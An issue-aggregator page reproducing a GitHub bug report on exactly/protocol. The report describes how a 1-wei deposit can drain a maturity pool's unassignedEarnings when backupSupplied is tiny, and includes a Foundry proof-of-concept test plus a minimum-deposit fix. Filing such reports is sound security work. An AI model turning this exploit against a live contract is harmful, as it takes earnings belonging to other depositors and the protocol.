Hacktoberfest 2026:维护者为十月标记出来的 issue,仍然开放、适合新手。 浏览 Hacktoberfest issue

An attacker can claim all `unassignedEarnings` with 1 wei when `backupSupplied` is Tiny in `market.sol`

未关闭
#795 1 条评论 0 个 reaction 已指派 0 人 在 GitHub 查看

还没有人认领这个 Issue。

评估

难度
4/5
预计耗时
3-5 天
新手友好度
35/100
Issue 类型
缺陷
描述清晰度
描述清楚
活跃度
停滞
技术栈
solidity

调研方向

从 market.sol 和 depositAtMaturity 路径开始,然后检查 FixedLib.calculateDeposit 以及 fixed-pool 对 unassignedEarnings 和 backupSupplied 的记账逻辑。使用提供的 PoC 在 market.t.sol 中复现该场景,并考虑 issue 提出的最小存款规则;当回归测试不再允许通过极小的存款耗尽 earnings bucket 时,即表示完成。

由索引模型根据 Issue 内容生成。

描述

Summary

A maturity pool can accumulate a large unassignedEarnings balance. If, at some point, the pool’s backup-supplied amount becomes extremely small (e.g., backupSupplied = 1 unit), then an attakcer who deposits only 1 unit can claim almost 100% of unassignedEarnings as their fee (minus backupFeeRate).

This is exploitable because an attacker can wait for this state and be the first to deposit (or front-run others), draining the bucket.

Flow

- backupSupplied(pool) is the part of fixed borrows not covered by fixed suppliers:

backupSupplied=borrowed−min(borrowed,supplied)

  • If supplied >= borrowed, then backupSupplied = 0 (fixed suppliers cover all borrows).
  • If borrowed > supplied, then backupSupplied = borrowed - supplied (the “gap” is covered by the floating/backup side)

unassignedEarnings is an accounting bucket of earnings sitting inside that maturity pool that have not yet been distributed/claimed. So It can build up from normal protocol activity (borrow fees, repayments/penalties, liquidation side-effects) before being “realized” by specific interactions.

  • When someone deposits to the maturity pool, the protocol computes a “yield” that comes out of unassignedEarnings and is credited to the depositor’s position as position.fee.
  • The yield is:
    (when backupSupplied > 0)

yield. = unassignedEarnings⋅ min(depositAmount,backupSupplied)/ backupSupplied
​
And the state updates are effectively:

  1. depositor’s fixed position gets fee += userFee
  2. pool’s unassignedEarnings -= (userFee + backupFee) (i.e., the whole yield is removed)
Image

Now lets assume:

Image
  • the attacker doesn’t need to supply meaningful capital to “earn” almost all pending earnings just enough to match the tiny backupSupplied.

Proof of code

Add this function test to the market.t.sol


  /// @dev PoC: if `backupSupplied` is tiny (e.g. 1) while `unassignedEarnings` is large,
  /// a tiny deposit can claim (almost) all `unassignedEarnings` due to proportional allocation.
  ///
  /// Note: we use `vm.store` to directly set `unassignedEarnings` to an exaggerated value to make
  /// the effect unambiguous; the production path is `depositAtMaturity` → `FixedLib.calculateDeposit`.
  function testPoC_TinyDepositCanDrainUnassignedEarningsWhenBackupSuppliedIsTiny() public {
    uint256 maturity = FixedLib.INTERVAL;

    // Provide floating liquidity so the fixed-pool borrow can source from backup.
    deal(address(asset), ALICE, 1_000 ether);
    vm.startPrank(ALICE);
    asset.approve(address(market), type(uint256).max);
    market.deposit(1_000 ether, ALICE);
    vm.stopPrank();

    // Attacker sets up minimal collateral (so `checkBorrow` passes).
    deal(address(asset), attacker, 20);
    vm.startPrank(attacker);
    asset.approve(address(market), type(uint256).max);
    market.deposit(10, attacker);

    // Create a fixed pool state where `backupSupplied(pool) == 1`:
    // borrowed = 1, supplied = 0.
    market.borrowAtMaturity(maturity, 1, type(uint256).max, attacker, attacker);

    // Force a large amount of unassigned earnings for this maturity.
    uint256 unassigned = 100 ether;
    uint256 unassignedSlot = stdstore
      .target(address(market))
      .sig("fixedPools(uint256)")
      .with_key(maturity)
      .depth(2) // (borrowed, supplied, unassignedEarnings, lastAccrual)
      .find();
    vm.store(address(market), bytes32(unassignedSlot), bytes32(unassigned));

    // With `backupSupplied == 1`, depositing 1 claims ~all `unassignedEarnings` as "fee".
    uint256 positionAssets = market.depositAtMaturity(maturity, 1, 0, attacker);

    uint256 backupFeeRate = market.backupFeeRate();
    uint256 backupFee = unassigned.mulWadDown(backupFeeRate);
    uint256 expectedFee = unassigned - backupFee;

    assertEq(positionAssets, 1 + expectedFee);

    (uint256 principal, uint256 fee) = market.fixedDepositPositions(maturity, attacker);
    assertEq(principal, 1);
    assertEq(fee, expectedFee);

    (, , uint256 unassignedAfter, ) = market.fixedPools(maturity);
    assertEq(unassignedAfter, 0);

    vm.stopPrank();
  }

fIX

  • Put a minimum deposit size to be eligible for yield
主要语言
Solidity
星标
92
派生
44
平均合并
8 天 7 小时
30 天内合并 PR
4

环境准备

这个项目没有提供开发容器、Dockerfile 或贡献指南,环境需要你自己搭建:先看它的 README,通用步骤见我们的新手贡献指南。

从这里开始

  1. 先读完整个 Issue,再读项目的贡献指南。
  2. 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
  3. Fork 仓库,在一个分支上完成修改。
  4. 提交 Pull Request,并在描述里引用这个 Issue 编号。

exactly/protocol 的其他 Issue

查看 exactly/protocol 的全部 Issue

相似的 Issue

更多 Blockchain Issue

把新 issue 发到你的邮箱

精选适合新手参与的 GitHub issue 摘要。